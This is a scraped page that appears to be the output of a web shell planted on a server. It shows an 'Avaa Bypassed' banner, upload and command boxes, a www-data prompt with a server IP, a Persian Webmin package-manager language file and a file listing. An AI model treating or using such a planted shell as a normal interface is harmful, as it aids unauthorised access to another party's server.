[ Avaa Bypassed ]




Upload:

Command:

www-data@3.15.204.106: ~ $
index_title=بسته های نرم افزاری
index_installed=بسته های نصب شده
index_close=همه را ببند
index_open=همه را باز کنید
index_search=جستجوی بسته:
index_install=یک بسته جدید نصب کنید
index_installmsg=مکان را برای نصب یک بسته$1 جدید از.. انتخاب کنید.
index_local=از پرونده محلی
index_uploaded=از پرونده بارگذاری شده
index_ftp=از ftp یا URL URL
index_installok=نصب
index_ident=یک پرونده را شناسایی کنید
index_identmsg=برای جستجوی پایگاه داده$1 ، یک فرمان یا نام مسیر را وارد کنید.
index_identok=جستجو برای:
index_all=همه بسته ها
index_return=فهرست ماژول
index_treturn=درخت بسته بندی
index_tree=درخت بسته بندی
index_epackagecmd=سیستم بسته$1 نیاز به دستور$2 دارد
index_eupdatecmd=سیستم$1 به روزرسانی نیاز به دستور$2 دارد
index_epackagecheck=سیستم مدیریت بسته انتخاب شده معتبر نیست:$1. ممکن است لازم باشد سیستم دیگری را در صفحه <a href='$2'>پیکربندی ماژول</a> انتخاب کنید.
index_eupdatecheck=سیستم به روزرسانی انتخاب شده معتبر نیست:$1. ممکن است شما نیاز به انتخاب یک روش بروزرسانی متفاوت در صفحه <a href='$2'>پیکربندی ماژول</a> داشته باشید.
index_echeckpackage=هیچ سیستم بسته بندی شناسایی نشد!
index_echeckupdate=هیچ سیستم بروزرسانی شناسایی نشد!
index_filter=بسته های فیلتر
index_filterclear=فیلتر را پاک کنید
index_filtered=در حال نمایش بسته های <tt>$1</tt> از <tt>$2</tt>

search_title=جستجوی بسته
search_nomatch=هیچ بسته ای با$1 مطابقت ندارد
search_none=هیچ یک
search_desc=شرح
search_class=کلاس
search_pack=بسته بندی
search_match=بسته های مطابق با$1
search_return=نتایج جستجو
search_esearch=شما برای جستجو چیزی وارد نکردید!
search_delete=بسته های انتخاب شده را حذف کنید
search_selall=انتخاب همه
search_invert=انتخاب معکوس

edit_title=ویرایش بسته
edit_details=جزئیات بسته
edit_desc=شرح
edit_pack=بسته بندی
edit_class=کلاس
edit_none=هیچ یک
edit_ver=نسخه
edit_vend=فروشنده
edit_arch=معماری
edit_inst=نصب شده است
edit_list=لیست پرونده ها
edit_listdesc=تمام پرونده های این بسته و وضعیت تأیید فعلی آنها را نشان دهید.
edit_uninst=حذف نصب کنید
edit_uninstdesc=این بسته را از سیستم خود حذف کنید.
edit_return=جزئیات بسته
edit_egone=بسته دیگر نصب نشده است

list_title=پرونده های بسته بندی
list_files=پرونده ها برای بسته بندی$1
list_path=مسیر
list_owner=صاحب
list_group=گروه
list_type=تایپ کنید
list_size=اندازه
list_status=وضعیت
list_ok=خوب
list_view=(چشم انداز)
list_eview= $1 : $2 باز نشد

delete_err=پاک کردن بسته$1 انجام نشد
delete_epack=بسته$1 وجود ندارد
delete_title=پاک کردن بسته
delete_rusure=آیا مطمئن هستید که می خواهید بسته$1 را حذف کنید؟ حداکثر$2 پرونده ($3) برای همیشه حذف خواهند شد.
delete_rusure2=آیا مطمئن هستید که می خواهید بسته$1 را حذف کنید؟
delete_ok=حذف
delete_nodeps=وابستگی ها را نادیده می گیرید؟
delete_noscripts=اسکریپتهای حذف را رد کنید؟
delete_efile=پرونده دمای معتبر برای حذف
delete_purge=پاکسازی پرونده های پیکربندی؟
delete_depstoo=وابستگی های بلا استفاده را نیز حذف کردید؟

file_title=اطلاعات پرونده
file_notfound=هیچ اطلاعاتی در مورد$1 در دسترس نیست
file_path=مسیر
file_type=تایپ کنید
file_perms=مجوزها
file_owner=صاحب
file_group=گروه
file_size=اندازه
file_link=پیوند به
file_pack=بسته بندی
file_class=کلاس
file_desc=شرح
file_none=هیچ یک

install_err=نصب بسته انجام نشد
install_elocal=هیچ پرونده محلی داده نشده است
install_elocal2="$1" وجود ندارد
install_eupload=مرورگر شما از آپلودهای فایل پشتیبانی نمی کند
install_eurl=URL غیرقابل درک "$1"
install_eupdate=هیچ بسته ای برای نصب وارد نشده است
install_edir=فهرست $1 معتبری نیست
install_ezip=یک فایل$1 فشرده یا فشرده معتبر معتبر نیست
install_efile=یک پرونده$1 معتبر نیست
install_title=بسته را نصب کنید
install_header=بسته را نصب کنید
install_packs=بسته (های) نصب شده
install_ok=نصب

do_err=نصب بسته$1 انجام نشد
do_title=بسته را نصب کنید
do_efailed=نصب انجام نشد :$1
do_efailedmsg1=با بازگشت به صفحه قبلی و انتخاب گزینه های مختلف نصب ، می توانید دوباره نصب کنید.
do_efailedmsg2=در غیر این صورت <a href='$1'>برای حذف فایل بسته موقت</a> اینجا را کلیک کنید تا فضای دیسک را ذخیره کنید.
do_success=بسته$1 با موفقیت نصب شد
do_details=جزئیات بسته
do_desc=شرح
do_class=کلاس
do_pack=بسته بندی
do_ver=نسخه
do_vend=فروشنده
do_arch=معماری
do_inst=نصب شده است
do_none=هیچ یک
do_files=پرونده های بسته بندی

pkgadd_root=دایرکتوری ریشه
pkgadd_eroot=فهرست ریشه "$1" وجود ندارد
pkgadd_unknown=ناشناخته
pkgadd_manager=مدیر بسته بندی سیستم V

rpm_upgrade=آپدیت بسته؟
rpm_replacepkgs=بسته را بازنویسی کنید؟
rpm_nodeps=وابستگی ها را نادیده می گیرید؟
rpm_oldpackage=نسخه جدید را با قدیمی جایگزین کنید؟
rpm_noscripts=اسکریپت های نصب را اجرا می کنید؟
rpm_excludedocs=مستندات را نصب کنید؟
rpm_replacefiles=رونویسی پرونده ها؟
rpm_notriggers=اسکریپت های فعال شده را اجرا کنید؟
rpm_ignoresize=اندازه سیستم فایل را بررسی کنید؟
rpm_root=دایرکتوری ریشه
rpm_eroot=فهرست ریشه "$1" وجود ندارد
rpm_search=جستجو rpmfind.net برای:
rpm_none=هیچ بسته ای مطابق با جستجوی شما یافت نشد.
rpm_find=جستجو rpmfind.net ..
rpm_findrpm=نام پرونده
rpm_finddistro=توزیع
rpm_finddesc=شرح

bsd_unknown=ناشناخته
bsd_scripts=اسکریپت های نصب و راه اندازی قبل و بعد را اجرا می کنید؟
bsd_force=اگر پیش نیازهای لازم را ندارید نصب کنید؟
bsd_manager=$1 مدیر بسته

slack_unclass=دیگر
slack_unknown=ناشناخته
slack_missing=گمشده
slack_root=دایرکتوری ریشه
slack_eroot=فهرست اصلی ریشه وجود ندارد یا نامعتبر است
slack_manager=مدیر بسته Slackware
slack_edir=فهرست بسته های Slackware $1 وجود ندارد

debian_unknown=ناشناخته
debian_depends=مشکلات وابستگی را نادیده می گیرید؟
debian_conflicts=نادیده گرفتن درگیری بسته؟
debian_overwrite=فایلها را از بسته های دیگر رونویسی کنید؟
debian_downgrade=بسته جدیدتر را با قدیمی جایگزین کنید؟
debian_manager=دبیان DPKG

log_install_package=بسته نصب شده$1
log_install_apt_l=بسته (های)$1 از APT نصب شده است
log_install_apt=بسته$2 از APT نصب شده است
log_install_yum_l=بسته (های)$1 از YUM نصب شده است
log_install_yum=بسته های$2 از YUM نصب شده است
log_install_rhn_l=بسته (های)$1 از Redhat Network نصب شده است
log_install_rhn=بسته$2 را از شبکه Redhat نصب کرد
log_check_apt_l=بسته (های) ارتقا یافته$1 از APT
log_check_apt=بسته های$2 از APT به روز شد
log_delete=بسته نصب نشده$1
log_deletes_l=بسته های حذف نشده$1
log_deletes=بسته های$1 حذف نشده است
log_urpmi_update=بسته های URPMI موجود را به روز کرد
log_urpmi_upgrade=بسته های URPMI نصب شده را به روز کرد
log_upgrade_yum_l=بسته (های)$1 ارتقا یافته از YUM
log_upgrade_yum=بسته های$2 از YUM به روز شد
log_check_rhn_l=بسته (های) ارتقا یافته$1 از شبکه Redhat
log_check_rhn=بسته (های)$2 از شبکه Redhat به روز شد

rhn_input=بسته بندی از شبکه Redhat
rhn_find=جستجو در RHN ..
rhn_install=نصب بسته (های) با دستور$1 ..
rhn_ok=.. نصب کامل.
rhn_failed=.. نصب نشد!
rhn_title=بسته RHN را انتخاب کنید
rhn_pack=بسته بندی
rhn_version=نسخه
rhn_form=گزینه های شبکه Redhat
rhn_header=گزینه های به روزرسانی خودکار بسته
rhn_auto=به صورت خودکار برای به روزرسانی ها بررسی می شود؟
rhn_interval=فاصله بازرسی
rhn_secs=دقایق
rhn_apply=ذخیره و اعمال شود
rhn_now=اکنون ذخیره و بررسی کنید
rhn_err=گزینه های RHN ذخیره نشد
rhn_einterval=فاصله نامعتبر یا نامعتبر است
rhn_einterval2=فاصله بازرسی حداقل باید 120 ثانیه باشد
rhn_check=در حال بررسی به روزرسانی ها
rhn_checkdesc=بررسی بسته های به روز شده از شبکه Redhat با دستور$1 ..
rhn_nocheck=.. هیچ بسته ای به روز نشده
rhn_proxy=URL سرور پروکسی برای بارگیری
rhn_none=معلول
rhn_eproxy=سرور پروکسی موجود نیست یا نامعتبر است
rhn_skip=تطبیق بسته ها را پرش کنید
rhn_nonefound=هیچ بسته ای برای بروزرسانی موجود نیست
rhn_name=شبکه Redhat

apt_input=بسته بندی از APT
apt_install=نصب بسته (های) با دستور$1 ..
apt_ok=.. نصب کامل.
apt_failed=.. نصب نشد!
apt_form=همه بسته ها را ارتقا دهید
apt_header=گزینه های ارتقاء بسته APT
apt_update=تنظیم مجدد لیست بسته ها (<tt>به روز رسانی</tt>)
apt_mode=حالت ارتقا
apt_mode2=به روزرسانی توزیع (<tt> ارتقاء فاصله)
apt_mode1=ارتقاء عادی
apt_mode0=بروزرسانی نکنید
apt_sim=فقط نشان می دهد کدام بسته ها به روز می شوند
apt_apply=اکنون ارتقا دهید
apt_upgrade=همه بسته ها را ارتقا دهید
apt_updatedesc=تنظیم مجدد لیست بسته ها با دستور$1 ..
apt_updatefailed=.. تنظیم مجدد انجام نشد!
apt_updateok=.. تنظیم مجدد کامل شد.
apt_upgradedesc=به روزرسانی همه بسته ها با دستور$1 ..
apt_upgradedescsim=ارتقاء همه بسته ها با دستور$1 شبیه سازی می شود.
apt_upgradefailed=.. بروزرسانی انجام نشد!
apt_upgradeok=.. بروزرسانی کامل شد.
apt_search=بسته های مطابق را پیدا کنید :
apt_find=جستجوی APT ..
apt_title=جستجوی APT
apt_name=APT
apt_repo_url=URL پایه مخزن
apt_repo_path=اجزای مسیر توزیع
apt_repo_eurl=URL پایه یا نامشخص است
apt_repo_epath=مسیر توزیع وجود ندارد

yum_input=بسته بندی از YUM
yum_install=نصب بسته (های) با دستور$1 ..
yum_ok=.. نصب کامل.
yum_failed=.. نصب نشد!
yum_find=مرور YUM ..
yum_package=بسته بندی
yum_version=نسخه
yum_arch=معماری
yum_source=منبع
yum_form=همه بسته ها را ارتقا دهید
yum_apply=همه بسته های نصب را از YUM به روز کنید
yum_upgrade=همه بسته ها را ارتقا دهید
yum_upgradedesc=به روزرسانی همه بسته ها با دستور$1 ..
yum_upgradefailed=.. بروزرسانی انجام نشد!
yum_upgradeok=.. بروزرسانی کامل شد.
yum_title=YUM را مرور کنید
yum_name=یوم
yum_enable=فعال کردن مخزن:
yum_none=&lt;نه&gt;
yum_repo_id=شناسه مخزن
yum_repo_name=توضیحات مخزن
yum_repo_url=URL پایه بسته
yum_repo_gpg=پرونده گواهی GPG
yum_repo_none=امضا نشده
yum_repo_eid=شناسه مخزن موجود یا نامعتبر است - فقط حروف و شماره مجاز هستند
yum_repo_eidclash=شناسه مخزن در حال استفاده است
yum_repo_ename=نام مخزن موجود نیست
yum_repo_eurl=URL مخزن موجود یا نامعتبر است
yum_repo_egpg=پرونده گواهی GPG وجود ندارد یا وجود ندارد
yum_repo_efile=پرونده مخزن از قبل وجود دارد!

urpmi_name=URPMI
urpmi_input=بسته بندی از URPMI
urpmi_find=مرور URPMI ..
urpmi_form=همه بسته ها را ارتقا دهید
urpmi_update=بسته های موجود URPMI را به روز کنید
urpmi_upgrade=بسته های URPMI نصب شده را به آخرین نسخه ها ارتقا دهید
urpmi_title_update=به روزرسانی بسته های موجود
urpmi_title_upgrade=به روزرسانی بسته های نصب شده
urpmi_updatedesc=دستور اجرای$1 ..
uprmi_upgradefailed=.. ناموفق!
urpmi_upgradeok=.. کامل.
urpmi_install=نصب بسته (های) با دستور$1 ..
urpmi_ok=.. نصب کامل.
urpmi_failed=.. نصب نشد!

rpm_missing=گمشده
rpm_checkfail=بررسی$1 انجام نشد
rpm_md5=MD5
rpm_fsize=حجم فایل
rpm_sym=Symlink
rpm_mtime=زمان اصلاح
rpm_dev=دستگاه
rpm_user=مالکیت کاربر
rpm_perm=مجوزها
rpm_group=مالکیت گروه
rpm_erpm=RPM $1 یافت نشد :$2

soft_reg=پرونده منظم
soft_dir=فهرست راهنما
soft_spec=پرونده ویژه
soft_sym=پیوند نمادین
soft_hard=لینک سخت
soft_edit=پرونده قابل ویرایش
soft_efunc=عملکردهای بسته بندی$1 سیستم بارگیری نشد.
soft_euncompress=پرونده فشرده شده است ، اما دستور <tt>uncompress</tt> در سیستم شما یافت نشد.
soft_euncmsg=عدم فشرده سازی پرونده :$1 انجام نشد
soft_egzip=پرونده gzipped است ، اما دستور gzip در سیستم شما یافت نشد.
soft_egzmsg=پرونده اسلحه سازی انجام نشد :$1

aix_unknown=ناشناخته
aix_device=دستگاه / دایرکتوری ورودی برای نرم افزار
aix_software=نرم افزاری برای نصب
aix_preview=فقط پیش نمایش؟ (عملیات نصب رخ نخواهد داد)
aix_commit=به روزرسانی های نرم افزار COMIT؟
aix_save=ذخیره فایلهای جایگزین؟
aix_auto=به صورت خودکار نرم افزار مورد نیاز را نصب کنید؟
aix_extend=در صورت نیاز فضای سیستم EXTEND؟
aix_overwrite=نسخه های مشابه یا جدیدتر را بیش از حد؟
aix_verify=VERIFY اندازه پرونده را نصب و بررسی کنید؟
aix_include=شامل پرونده های LANGUAGE مربوطه؟
aix_detail=خروجی DETAILED؟
aix_process=چندین جلد را پردازش کنید؟
aix_accept=موافقت نامه های مجوز جدید را قبول کنید؟
aix_license=پیش نمایش توافق نامه های جدید LICENSE؟
aix_clean=عدم موفقیت نصب پاکسازی؟
aix_manager=مدیر بسته AIX

emerge_input=از مخزن Portage
emerge_find=جستجو کردن ..
emerge_install=نصب بسته با دستور$1 ..
emerge_failed=.. نصب نشد!
emerge_ok=.. نصب کامل.
emerge_search=جستجوی بسته:
emerge_pack=بسته بندی
emerge_class=کلاس
emerge_version=نسخه
emerge_desc=شرح
emerge_none=هیچ بسته ای با جستجوی شما مطابقت ندارد.
emerge_noreplace=بسته های موجود را جایگزین کنید؟
emerge_onlydeps=فقط وابستگی ها را نصب کنید؟
emerge_title=جستجوی قسمت
emerge_name=پرتره

cygwin_fmissing=پرونده موجود نیست
cygwin_lmissing=فایلی که نقاط لینک در آن وجود ندارد
cygwin_estat=پرونده آماری انجام نشد:$1
cygwin_elread=خواندن Symlink انجام نشد:$1
cygwin_elstat=نتوانستید Symlink را ذخیره کنید:$1
cygwin_badpostscript=هشدار: به نظر نمی رسد که این اسکریپت اجرا شده است
cygwin_pkgexists=بسته$1 قبلاً وجود دارد.
cygwin_warnuse=هشدار: این یک رابط رسمی برای مدیریت نرم افزار Cygwin نیست. از خطر خود استفاده کنید.
cygwin_edb=پایگاه داده بسته های Cygwin $1 وجود ندارد

deletes_err=پاک کردن بسته ها انجام نشد
deletes_enone=هیچ بسته انتخاب نشده است
deletes_title=بسته ها را حذف کنید
deletes_desc=حذف بسته ها$1 ..
deletes_failed1=حذف $1 : $2 انجام نشد
deletes_success1=با موفقیت $1 حذف شد
deletes_failed2=حذف انجام نشد :$1
deletes_success2=.. حذف کامل شد.
deletes_rusure=آیا مطمئن هستید که می خواهید بسته های$1 را حذف کنید؟
deletes_ok=همه آنها را حذف کنید

csw_input=بسته از CSW
csw_install=نصب بسته (های) با دستور$1 ..
csw_ok=.. نصب کامل.
csw_failed=.. نصب نشد!
csw_already=.. قبلاً نصب شده
csw_retry=.. دوباره سعی کنید با وابستگی های جدید
csw_find=مرور CSW ..
csw_package=بسته بندی
csw_version=نسخه
csw_title=مرور CSW
csw_name=CSW
csw_form=به روزرسانی بسته ها
csw_upgrade=همه بسته های نصب شده را ارتقا دهید
csw_updatedesc=به روزرسانی همه بسته های نصب شده با دستور$1 ..

missing_msg=بسته$1 را می توان به طور خودکار توسط Webmin با استفاده از$2 نصب کرد.
missing_now=الآن نصب کن

find_title=جستجو برای بسته بندی
find_search=بسته های مطابق را پیدا کنید:
find_name=نام
find_version=نسخه
find_desc=شرح
find_none=هیچ بسته ای مطابق با جستجوی شما یافت نشد.

msi_users=برنامه جدید را در دسترس قرار دهید
msi_users0=هیچ کس
msi_users1=کاربر فعلی
msi_users2=تمام کاربران
msi_missing=وجود ندارد
msi_size=سایز اشتباه

hpux_create_target_path=مسیر هدف ایجاد کنید؟
hpux_mount_all_filesystems=سوار همه سیستم فایلها؟
hpux_reinstall=نصب مجدد؟
hpux_reinstall_files=نصب مجدد پرونده ها؟
hpux_reinstall_files_use_cksum=نصب مجدد فایل ها از چک استفاده می کند؟
hpux_allow_multiple_versions=چندین نسخه مجاز است؟
hpux_defer_configure=پیکربندی را معطل کنید؟
hpux_autorecover_product=کالای Autorecover؟
hpux_allow_downdate=اجازه سقوط؟
hpux_allow_incompatible=ناسازگار است؟
hpux_autoselect_dependencies=وابستگی های خودکار را انتخاب کنید؟
hpux_enforce_dependencies=وابستگی ها را اعمال کنید؟
hpux_enforce_scripts=اجرای اسکریپت ها؟
hpux_enforce_dsa=تجزیه و تحلیل فضای دیسک را اجرا کنید؟
hpux_root=دایرکتوری ریشه

ports_install=نصب درگاه های FreeBSD $1 ..
ports_failed=.. برخی از درگاه ها انجام نشد
ports_ok=.. نصب کامل
ports_input=بسته بندی از درگاه ها
ports_find=بنادر جستجو
ports_name=پورت های FreeBSD
ports_form=بانک اطلاعات بنادر را به روز کنید
ports_apply=دانلود آخرین عکس فوری
ports_upgrade=بارگیری عکس فوری پورت ها
ports_running=دستور اجرای$1 ..

pkg_install=نصب بسته های FreeBSD $1 ..
pkg_failed=.. برخی از بسته ها انجام نشد
pkg_ok=.. نصب کامل
pkg_find=جستجو pkgng
pkg_input=بسته بندی از pkgng

pkgsrc_install=نصب بسته های pkgsrc $1 ..
pkgsrc_failed=.. برخی از بسته ها انجام نشد
pkgsrc_ok=.. نصب کامل
pkgsrc_find=جستجو pkgng
pkgsrc_input=بسته بندی از pkgsrc

log_IPKG_update=پایگاه داده IPKG به روز شد
log_IPKG_upgrade=بسته های IPKG نصب شده را به روز کرد

IPKG_name=IPKG
IPKG_input=بسته بندی از IPKG
IPKG_find=مرور IPKG ..
IPKG_form=بسته های IPKG را مدیریت کنید
IPKG_update=بانک اطلاعات بسته های IPKG را به روز کنید
IPKG_upgrade=بسته های IPKG نصب شده را ارتقا دهید
IPKG_title_update=به روزرسانی پایگاه داده IPKG
IPKG_title_upgrade=به روزرسانی بسته های نصب شده
IPKG_updatedesc=دستور اجرای$1 ..
IPKG_upgradefailed=.. ناموفق!
IPKG_upgradeok=.. کامل.
IPKG_install=نصب بسته (های) با دستور$1 ..
IPKG_ok=.. نصب کامل.
IPKG_failed=.. نصب نشد!
IPKG_index_tree=بسته های IPKG را مدیریت کنید
IPKG_install_package=نصب
IPKG_install_packagedesc=این بسته را روی سیستم خود نصب کنید
IPKG_noupgrade=هیچ چیز برای به روزرسانی نیست
IPKG-edit_title=بسته IPKG را مدیریت کنید
IPKG_update_avail=به روزرسانی قابل استفاده:
IPKG_not_installed=بسته نصب نشده است

Filemanager

Name Type Size Permission Actions
af.auto File 16.57 KB 0644
ar.auto File 20 KB 0644
be.auto File 24.39 KB 0644
bg.auto File 26.09 KB 0644
ca File 18.07 KB 0644
ca.auto File 118 B 0644
cs File 13.69 KB 0644
cs.auto File 3.86 KB 0644
da.auto File 16.26 KB 0644
de File 16.82 KB 0644
el.auto File 26.81 KB 0644
en File 15.57 KB 0644
es File 12.55 KB 0644
es.auto File 5.46 KB 0644
eu.auto File 16.95 KB 0644
fa.auto File 21.84 KB 0644
fi.auto File 16.63 KB 0644
fr File 7.93 KB 0644
fr.auto File 10.83 KB 0644
he.auto File 19.17 KB 0644
hr.auto File 16.68 KB 0644
hu File 4.06 KB 0644
hu.auto File 13.82 KB 0644
it.auto File 17.69 KB 0644
ja File 9.05 KB 0644
ja.auto File 13.9 KB 0644
ko File 12.95 KB 0644
ko.auto File 5.73 KB 0644
lt.auto File 16.94 KB 0644
lv.auto File 17.14 KB 0644
ms File 9.39 KB 0644
ms.auto File 6.35 KB 0644
mt.auto File 17.48 KB 0644
nl File 13.79 KB 0644
nl.auto File 3.12 KB 0644
no File 16.06 KB 0644
pl File 15.26 KB 0644
pl.auto File 2.08 KB 0644
pt File 3.86 KB 0644
pt.auto File 13.48 KB 0644
pt_BR.auto File 17.33 KB 0644
ro.auto File 17.69 KB 0644
ru File 11.37 KB 0644
ru.auto File 12.28 KB 0644
sk.auto File 17.55 KB 0644
sl.auto File 16.45 KB 0644
sv File 5.66 KB 0644
sv.auto File 10.77 KB 0644
th.auto File 30.73 KB 0644
tr File 3.75 KB 0644
tr.auto File 13.03 KB 0644
uk.auto File 24.47 KB 0644
ur.auto File 23.27 KB 0644
vi.auto File 18.69 KB 0644
zh File 3.32 KB 0644
zh.auto File 11.16 KB 0644
zh_TW File 3.41 KB 0644
zh_TW.auto File 11.27 KB 0644